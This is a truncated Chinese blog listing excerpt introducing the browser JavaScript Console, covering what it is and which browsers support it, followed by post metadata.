利用 Console 来学习、调试JavaScript

一  什么是 ConsoleConsole 是用于显示 JS和 DOM 对象信息的单独窗口。并且向 JS 中注入1个 console 对象,使用该对象 可以输出信息到 Console 窗口中。 二  什么浏览器支持 Console很多人可能都知道 Chrome 和 FireFox(FireBug)中都支持 Console。而其他浏览器都支 持不好。比如 IE8 自带的开发工具虽然支
转载
518阅读
0评论
0点赞
发布博客于 7 年前